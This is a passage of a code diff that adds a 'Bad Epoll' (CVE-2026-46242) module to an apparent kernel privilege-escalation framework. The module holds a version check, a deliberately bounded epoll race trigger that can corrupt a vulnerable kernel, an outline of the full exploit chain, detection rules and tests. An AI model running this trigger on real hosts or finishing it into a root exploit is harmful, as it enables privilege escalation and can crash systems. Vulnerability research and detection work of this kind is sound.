the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not
affected) — no userns or CONFIG precondition, because none is required.
`exploit()` forks a CPU-pinned child that builds the epoll race pair and
exercises the `ep_remove`-vs-`__fput` concurrent-close window a
hard-bounded number of times (48 attempts / 2 s), widening it with
`close(dup())` false-sharing storms, snapshots the eventpoll slab, and
returns `EXPLOIT_FAIL`.
It is **deliberately under-driven**: a won race frees a live
`struct eventpoll` (real corruption that rarely trips KASAN), so the module
does not grind the race to a win, does not perform the cross-cache reclaim,
and does not bundle the `/proc/self/fdinfo` arbitrary-read + ROP root-pop
(per-build offsets refused). The trigger is reconstructed from the public
kernelCTF PoC, not VM-verified — it never claims root it did not get. It
carries the lowest `--auto` safety rank in the corpus.
@@ -0,0 +1,434 @@
/*
* bad_epoll_cve_2026_46242 — SKELETONKEY module
*
* CVE-2026-46242 — "Bad Epoll", a race-condition use-after-free in the
* Linux kernel epoll subsystem (fs/eventpoll.c). On the file-teardown
* path, ep_remove() clears file->f_ep under file->f_lock but keeps
* *using* the file inside the critical section (the hlist_del_rcu() over
* the eventpoll's refs list + spin_unlock). A concurrent __fput() of a
* linked epoll file can observe the transient NULL f_ep, skip
* eventpoll_release_file(), and go straight to f_op->release — freeing a
* struct eventpoll that the first path is still walking. The result is a
* UAF on a live kernel object reachable by ANY unprivileged local user:
* epoll_create1(2) / epoll_ctl(2) / close(2) need no capability, no user
* namespace, and no special CONFIG (epoll is always built in). That is
* what makes it nasty — there is no unprivileged-userns stopgap to close
* the way there is for the netfilter bugs; the only fix is to patch.
*
* Public exploit (Jaeyoung Chung / J-jaeyoung, "bad-epoll"), submitted
* to Google's kernelCTF: four epoll objects in two pairs — one pair
* drives the race, the other is the victim — turn the 8-byte UAF write
* into control of a struct file via a cross-cache attack, then arbitrary
* kernel read via /proc/self/fdinfo and a ROP chain to a root shell.
* ~99% reliable despite a race window only ~6 instructions wide; it
* rarely trips KASAN, which is precisely why the bug hid for three
* years.
*
* CWE-416 (Use After Free) via CWE-362 (race). Introduced by commit
* 58c9b016e128 (Linux 6.4, 2023-04-08); fixed by commit
* a6dc643c69311677c574a0f17a3f4d66a5f3744b (merged for 7.1-rc1,
* 2026-04-24), stable backport 7.0.13. NOT in CISA KEV (brand new).
*
* STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
* This is a genuine SMP kernel race that, if *won*, frees a live
* struct eventpoll — real memory corruption that (per the public
* analysis) rarely trips KASAN, so a won-but-not-completed race can
* silently destabilise a vulnerable host rather than cleanly oops.
* For that reason this module is deliberately UNDER-DRIVEN: exploit()
* builds the epoll object graph and exercises the concurrent-close
* window (ep_remove vs __fput) a small, bounded number of times inside
* a fork-isolated child, snapshots the eventpoll slab, and STOPS. It
* does NOT grind the race to a win, does NOT perform the cross-cache
* reclaim, and does NOT bundle the per-kernel fdinfo arbitrary-read +
* ROP that lands root (per-build offsets refused). It returns
* EXPLOIT_FAIL and never claims root it did not get. The trigger is
* reconstructed from the public kernelCTF PoC, not VM-verified. This
* is why it carries the lowest safety rank in --auto (a kernel race is
* the least predictable class; see skeletonkey.c module_safety_rank).
*
* detect() is a pure version gate: vulnerable iff the running kernel is
* >= 6.4 (the commit that introduced the bug) AND below the fix on its
* branch (Debian: bookworm/6.1 and bullseye/5.10 are "not affected —
* vulnerable code not present"; trixie/6.12 still vulnerable at time of
* writing; forky/sid fixed at 7.0.13/7.0.14). No userns / CONFIG
* precondition — any unprivileged user can reach it.
*
* Affected range (Debian security tracker, source of record):
* introduced 6.4 (58c9b016e128); mainline fix in 7.1-rc1
* (a6dc643c6931); stable backport 7.0.13. 6.6/6.12 LTS backports had
* not landed at time of writing → version-only VULNERABLE there
* (tools/refresh-kernel-ranges.py will extend the table as distros
* publish). 6.1 and older predate the bug.
*
* arch_support: x86_64 (the cross-cache groom + any future finisher are
* x86_64-tuned; detect() and the reachability trigger are arch-neutral
* but we only claim x86_64 for exploit()).
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <stdatomic.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <sched.h>
#include <pthread.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/epoll.h>
/* ------------------------------------------------------------------
* Kernel-range table. The fix landed mainline in 7.1-rc1
* (a6dc643c6931); the only stable backport that had shipped at time of
* writing is 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1). A single
* {7,0,13} entry plus the ">= 6.4 introduced" gate below is sufficient:
* kernel_range_is_patched() treats any branch strictly newer than every
* entry (i.e. 7.1+) as patched-via-mainline, and every branch at or
* below 7.0 with no exact entry (6.4..6.12, 7.0.<13) as still
* vulnerable — which is exactly the Debian tracker's verdict. Add
* 6.6.x / 6.12.x entries here when those LTS backports land (the drift
* checker flags them). security-tracker.debian.org is the source.
* ------------------------------------------------------------------ */
static const struct kernel_patched_from bad_epoll_patched_branches[] = {
{7, 0, 13}, /* 7.0.x (Debian forky 7.0.13-1 / sid 7.0.14-1); 7.1+ inherits */
};
static const struct kernel_range bad_epoll_range = {
.patched_from = bad_epoll_patched_branches,
.n_patched_from = sizeof(bad_epoll_patched_branches) /
sizeof(bad_epoll_patched_branches[0]),
};
static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] bad_epoll: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* The vulnerable ep_remove()/__fput() interleaving was introduced by
* commit 58c9b016e128 in 6.4. Below that the code pattern is absent
* (Debian marks bookworm/6.1 and bullseye/5.10 "not affected —
* vulnerable code not present"). */
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 4, 0)) {
if (!ctx->json)
fprintf(stderr, "[i] bad_epoll: kernel %s predates the vulnerable "
"epoll teardown path (introduced 6.4) — not affected\n",
v->release);
return SKELETONKEY_OK;
}
if (kernel_range_is_patched(&bad_epoll_range, v)) {
if (!ctx->json)
fprintf(stderr, "[+] bad_epoll: kernel %s is patched (>= 7.0.13 / "
"7.1+ inherits the mainline fix)\n", v->release);
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] bad_epoll: VULNERABLE — kernel %s in range "
"[6.4, fix); epoll teardown race reachable by any "
"unprivileged user (no userns / CONFIG gate)\n",
v->release);
fprintf(stderr, "[i] bad_epoll: no unprivileged-userns stopgap applies "
"here — the only fix is to patch the kernel\n");
}
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
* Reconstructed reachability trigger (deliberately under-driven).
*
* Faithful minimal shape of the public PoC's race pair: a "waiter"
* epoll watches a "target" epoll; the two are then closed concurrently
* from CPU-pinned contexts so ep_remove() (driven by fput of the
* watched target) races __fput() of the waiter eventpoll. The PoC
* widens the ~6-instruction window with close(dup(target)) storms that
* induce false-sharing on the file's f_count cache line and stall the
* racer's read of f_op.
*
* We reproduce the OBJECT GRAPH and the CONCURRENT-CLOSE WINDOW with a
* small iteration + wall-clock budget, then stop. We do NOT reclaim the
* freed slab, do NOT run the depth-3 nesting oracle that only fires
* after a real UAF write, and do NOT weaponise. The honest witness is
* therefore coarse: a signal in the isolated child (a KASAN oops or
* corruption fault, if the race happened to fire) and an eventpoll-slab
* delta. Absence of a witness does NOT prove the host is safe.
* ------------------------------------------------------------------ */
#define BEP_RACE_ITERS 48 /* bounded — reachability probe, not a winner */
#define BEP_DUP_CLOSE_ITERS 32 /* window-widening false-sharing storm */
#define BEP_RACE_BUDGET_SECS 2 /* honest short cap (public PoC uses 5 min) */
static void bep_pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
(void)sched_setaffinity(0, sizeof set, &set); /* best-effort */
}
struct bep_racer {
int waiter_fd; /* fd the racer closes */
atomic_int *go; /* fire signal from main */
atomic_int *closed; /* set once the racer has closed */
};
static void *bep_racer_fn(void *arg)
{
struct bep_racer *r = (struct bep_racer *)arg;
bep_pin_cpu(0);
/* Spin until main is at the close point, then race. */
while (atomic_load_explicit(r->go, memory_order_acquire) == 0)
;
close(r->waiter_fd);
atomic_store_explicit(r->closed, 1, memory_order_release);
return NULL;
}
static long bep_slabinfo_active(const char *slab)
{
FILE *f = fopen("/proc/slabinfo", "r");
if (!f) return -1;
char line[512];
long active = -1;
size_t n = strlen(slab);
while (fgets(line, sizeof line, f)) {
if (strncmp(line, slab, n) == 0 && line[n] == ' ') {
long a;
if (sscanf(line + n, " %ld", &a) == 1) active = a;
break;
}
}
fclose(f);
return active;
}
/* One race attempt: build (target, waiter) with waiter watching target,
* then close both concurrently. Returns 0 normally; the interesting
* outcome (a won race) manifests as a signal that the parent observes,
* not a return value. */
static void bep_one_attempt(void)
{
int target = epoll_create1(EPOLL_CLOEXEC);
if (target < 0) return;
int waiter = epoll_create1(EPOLL_CLOEXEC);
if (waiter < 0) { close(target); return; }
/* waiter watches target — this is the link that makes closing target
* drive eventpoll_release_file()/ep_remove() over waiter's eventpoll. */
struct epoll_event ev = { .events = EPOLLIN };
ev.data.fd = target;
if (epoll_ctl(waiter, EPOLL_CTL_ADD, target, &ev) < 0) {
close(waiter); close(target); return;
}
atomic_int go = 0, closed = 0;
struct bep_racer ra = { .waiter_fd = waiter, .go = &go, .closed = &closed };
pthread_t th;
if (pthread_create(&th, NULL, bep_racer_fn, &ra) != 0) {
close(waiter); close(target); return;
}
/* Widen the window: false-sharing storm on target's f_count line,
* then release the racer and close target ourselves so ep_remove
* (our fput of the watched file) overlaps __fput of the waiter. */
for (int i = 0; i < BEP_DUP_CLOSE_ITERS; i++) {
int d = dup(target);
if (d >= 0) close(d);
}
atomic_store_explicit(&go, 1, memory_order_release);
close(target);
pthread_join(th, NULL);
}
static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = bad_epoll_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] bad_epoll: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] bad_epoll: already running as root\n");
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[*] bad_epoll: reconstructed reachability probe — builds "
"the epoll race pair and exercises the ep_remove vs __fput "
"close window (%d bounded attempts, %ds cap), then stops. "
"The cross-cache → struct file control → fdinfo arb-read → "
"ROP root-pop is NOT bundled.\n",
BEP_RACE_ITERS, BEP_RACE_BUDGET_SECS);
/* Fork-isolated: a won race frees a live struct eventpoll. On a
* KASAN kernel that oopses (contained to the child); on a plain
* vulnerable kernel it may corrupt — which is exactly why we bound
* the attempt count hard and never reclaim. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
bep_pin_cpu(1);
long before = bep_slabinfo_active("eventpoll");
if (before < 0) before = bep_slabinfo_active("kmalloc-192");
time_t deadline = time(NULL) + BEP_RACE_BUDGET_SECS;
int done = 0;
for (int i = 0; i < BEP_RACE_ITERS && time(NULL) < deadline; i++) {
bep_one_attempt();
done = i + 1;
}
long after = bep_slabinfo_active("eventpoll");
if (after < 0) after = bep_slabinfo_active("kmalloc-192");
if (!ctx->json)
fprintf(stderr, "[i] bad_epoll: %d close-race attempts fired; "
"eventpoll/kmalloc-192 active: %ld → %ld\n",
done, before, after);
_exit(100); /* honest: window exercised, race not driven to a win */
}
int status;
waitpid(child, &status, 0);
if (WIFSIGNALED(status)) {
if (!ctx->json)
fprintf(stderr, "[!] bad_epoll: child died by signal %d — the epoll "
"teardown race may have fired (KASAN oops / corruption "
"fault). This is the bug, but no root was obtained.\n",
WTERMSIG(status));
return SKELETONKEY_EXPLOIT_FAIL;
}
if (WIFEXITED(status) && WEXITSTATUS(status) == 100) {
if (!ctx->json) {
fprintf(stderr, "[!] bad_epoll: race window exercised (reconstructed "
"primitive). Full chain is NOT bundled and the trigger "
"is not VM-verified — honest EXPLOIT_FAIL.\n");
fprintf(stderr, "[i] bad_epoll: to complete: port the public kernelCTF "
"cross-cache reclaim (eventpoll slab → pipe buffers) + "
"/proc/self/fdinfo arbitrary read + ROP for "
"CVE-2026-46242.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[-] bad_epoll: probe setup failed (child rc=%d)\n",
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__linux__ */
static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] bad_epoll: Linux-only module (epoll teardown race "
"UAF) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] bad_epoll: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
/* ----- Embedded detection rules -----
*
* Honesty note (see MODULE.md): epoll is one of the most heavily used
* kernel interfaces on Earth. epoll_create1 / epoll_ctl / close from an
* unprivileged process is the steady-state behaviour of nginx, systemd,
* every language runtime's event loop, etc. There is NO clean behavioural
* signature for this exploit, and it rarely trips KASAN. These rules are
* therefore intentionally weak/structural — the reliable signal is the
* post-exploitation privilege transition, not the epoll traffic. Tune
* hard or you will drown in false positives.
*/
static const char bad_epoll_auditd[] =
"# Bad Epoll — epoll teardown race UAF (CVE-2026-46242) — auditd rules\n"
"# There is no high-fidelity syscall signature: epoll_create1/epoll_ctl\n"
"# are ubiquitous and benign. The only reliable smoking gun is an\n"
"# unprivileged process transitioning to euid 0 without going through a\n"
"# setuid binary. Pair with kernel-log monitoring for KASAN/oops lines.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n"
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n";
static const char bad_epoll_sigma[] =
"title: Possible CVE-2026-46242 Bad Epoll teardown race UAF\n"
"id: 7c1e9d2a-skeletonkey-bad-epoll\n"
"status: experimental\n"
"description: |\n"
" Bad Epoll (CVE-2026-46242) is a race UAF in fs/eventpoll.c reachable\n"
" by any unprivileged user via epoll_create1/epoll_ctl/close. There is\n"
" no reliable syscall-level signature — epoll traffic is ubiquitous and\n"
" the exploit rarely trips KASAN. This rule keys on the POST-exploitation\n"
" tell: a previously-unprivileged process gaining euid 0 with no setuid\n"
" execve in its ancestry. Expect false positives from legitimate\n"
" privilege-management daemons; correlate with kernel oops/BUG lines.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
" unpriv: {auid|expression: '>= 1000'}\n"
" condition: uid0 and unpriv\n"
"level: medium\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46242]\n";
static const char bad_epoll_falco[] =
"- rule: Unprivileged process gained root, no setuid exec (possible CVE-2026-46242)\n"
" desc: |\n"
" Bad Epoll (CVE-2026-46242) epoll teardown race UAF has no clean\n"
" behavioural signature — epoll syscalls are ubiquitous. This rule\n"
" fires on the post-exploitation effect: a non-root process becoming\n"
" root outside a setuid binary. False positives: privilege-management\n"
" daemons, su/sudo flows (filter those). Correlate with kernel oops.\n"
" condition: >\n"
" evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
" not proc.is_setuid = true and user.uid != 0\n"
" output: >\n"
" Non-setuid unprivileged->root transition (possible CVE-2026-46242 Bad Epoll)\n"
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid)\n"
" priority: WARNING\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46242]\n";
const struct skeletonkey_module bad_epoll_module = {
.name = "bad_epoll",
.cve = "CVE-2026-46242",
.summary = "epoll ep_remove-vs-__fput teardown race UAF (\"Bad Epoll\") — frees a live struct eventpoll; unprivileged, no userns needed",
.family = "eventpoll",
.kernel_range = "6.4 <= K < fix (introduced 58c9b016e128 / 6.4); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected",
.detect = bad_epoll_detect,
.exploit = bad_epoll_exploit,
.mitigate = NULL, /* mitigation: upgrade kernel — no unprivileged-userns/CONFIG stopgap applies (epoll needs none) */
.cleanup = NULL, /* trigger creates only throwaway epoll fds in a fork-isolated child; no host artifacts */
.detect_auditd = bad_epoll_auditd,
.detect_sigma = bad_epoll_sigma,
.detect_yara = NULL, /* pure in-kernel race — no file artifact to match */
.detect_falco = bad_epoll_falco,
.opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 6.4 introduced AND below the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) — no userns or CONFIG probe, because epoll is reachable by every unprivileged user. exploit() forks a CPU-pinned child that builds the epoll race pair (a waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a hard-bounded number of times (48 attempts / 2s), widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. It is deliberately UNDER-DRIVEN: it does not grind the race to a win, does not perform the cross-cache reclaim, and does not bundle the /proc/self/fdinfo arbitrary-read + ROP root-pop (per-kernel offsets refused); the trigger is reconstructed from the public kernelCTF PoC, not VM-verified. Telemetry footprint is nearly invisible: a burst of epoll_create1/epoll_ctl/dup/close from one process (indistinguishable from any event-loop program) and, only if the race actually fires on a vulnerable host, a possible KASAN oops or silent corruption (the bug rarely trips KASAN). No persistent files. The reliable detection signal is the post-exploitation euid-0 transition, not the epoll activity — see the shipped rules. Lowest --auto safety rank in the corpus: a kernel race that frees a live struct file is the least predictable thing here.",
.arch_support = "x86_64",
};
void skeletonkey_register_bad_epoll(void)
{
skeletonkey_register(&bad_epoll_module);
}
@@ -0,0 +1,12 @@
/*
* bad_epoll_cve_2026_46242 — SKELETONKEY module registry hook
*/
#ifndef BAD_EPOLL_SKELETONKEY_MODULES_H
#define BAD_EPOLL_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module bad_epoll_module;
#endif
+2 -1
View File
@@ -35,7 +35,7 @@
#include <string.h>
#include <unistd.h>
#define SKELETONKEY_VERSION "0.9.11"
#define SKELETONKEY_VERSION "0.9.12"
static const char BANNER[] =
"\n"
@@ -1021,6 +1021,7 @@ static int module_safety_rank(const char *n)
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
if (!strcmp(n, "bad_epoll")) return 12; /* reconstructed epoll teardown race UAF; a won race frees a live struct file and rarely trips KASAN (silent-corruption risk), primitive-only/not VM-verified — least predictable in the corpus */
if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */
return 50; /* kernel primitives — middle of pack */
}
+44
View File
@@ -72,6 +72,7 @@ extern const struct skeletonkey_module ptrace_pidfd_module;
extern const struct skeletonkey_module sudo_host_module;
extern const struct skeletonkey_module cifswitch_module;
extern const struct skeletonkey_module nft_catchall_module;
extern const struct skeletonkey_module bad_epoll_module;
static int g_pass = 0;
static int g_fail = 0;
@@ -891,6 +892,49 @@ static void run_all(void)
&nft_catchall_module, &h_nca_nouserns,
SKELETONKEY_PRECOND_FAIL);
/* ── bad_epoll (CVE-2026-46242) ──────────────────────────────
* Pure version gate: vulnerable iff >= 6.4 (bug introduced
* 58c9b016e128) AND below the fix on-branch (stable backport
* 7.0.13; 7.1+ inherits via mainline). NO userns/CONFIG
* precondition — epoll is reachable by every unprivileged user, so
* there is deliberately no PRECOND_FAIL path to test. userns state
* of the base host is irrelevant here. */
/* 6.1.100 predates the vulnerable epoll path (introduced 6.4) → OK */
struct skeletonkey_host h_bep_61 =
mk_host(h_kernel_6_12, 6, 1, 100, "6.1.100-test");
run_one("bad_epoll: 6.1.100 predates the bug (introduced 6.4) → OK",
&bad_epoll_module, &h_bep_61,
SKELETONKEY_OK);
/* 6.12.70 in range [6.4, 7.0.13) → VULNERABLE (no userns needed) */
struct skeletonkey_host h_bep_61270 =
mk_host(h_kernel_6_12, 6, 12, 70, "6.12.70-test");
run_one("bad_epoll: 6.12.70 in range → VULNERABLE (no userns gate)",
&bad_epoll_module, &h_bep_61270,
SKELETONKEY_VULNERABLE);
/* 7.0.5 on the 7.0 branch, below the 7.0.13 backport → VULNERABLE */
struct skeletonkey_host h_bep_705 =
mk_host(h_kernel_6_12, 7, 0, 5, "7.0.5-test");
run_one("bad_epoll: 7.0.5 below the 7.0.13 backport → VULNERABLE",
&bad_epoll_module, &h_bep_705,
SKELETONKEY_VULNERABLE);
/* 7.0.13 exact backport → OK via patch table */
struct skeletonkey_host h_bep_70130 =
mk_host(h_kernel_6_12, 7, 0, 13, "7.0.13-test");
run_one("bad_epoll: 7.0.13 (exact backport) → OK via patch table",
&bad_epoll_module, &h_bep_70130,
SKELETONKEY_OK);
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
struct skeletonkey_host h_bep_710 =
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
run_one("bad_epoll: 7.1.0 above the backport → OK (mainline inherit)",
&bad_epoll_module, &h_bep_710,
SKELETONKEY_OK);
/* ── coverage report ─────────────────────────────────────────
* Iterate the runtime registry (populated by skeletonkey_register_*
* calls in main()) and warn for any module that was not touched
+9
View File
@@ -324,3 +324,12 @@ nft_catchall:
kernel_version: "6.1.163"
expect_detect: VULNERABLE
notes: "CVE-2026-23111; nf_tables nft_map_catchall_activate abort-path UAF (inverted '!'). Public reproduction by FuzzingLabs; fixed upstream f41c5d1, Debian backports 6.1.164 (bookworm) / 6.12.73 (trixie) / 6.18.10 (sid); 5.10/bullseye still unfixed. detect() version-gates (catch-all set elements ~5.13; thresholds 6.1.164/6.12.73/6.18.10) AND requires unprivileged user_ns clone — a vulnerable kernel with userns locked (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes nft_chain/cg-256 slabinfo, returns EXPLOIT_FAIL (primitive-only). The per-kernel leak + R/W + modprobe_path ROP is NOT bundled, and the trigger is RECONSTRUCTED from public analysis — NOT yet VM-verified. Provisioner: ensure unprivileged userns enabled (sysctl kernel.unprivileged_userns_clone=1 / drop apparmor restriction). A KASAN kernel will oops on a real fire; sweep + trigger validation pending."
# ── bad_epoll (CVE-2026-46242) addition ─────────────────────────────
bad_epoll:
box: ubuntu2404
kernel_pkg: ""
kernel_version: "6.8.0-generic" # >= 6.4 (bug introduced 58c9b016e128) and below the 7.0.13 backport → VULNERABLE by version
expect_detect: VULNERABLE
notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate — no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN → possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC — NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot — even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending."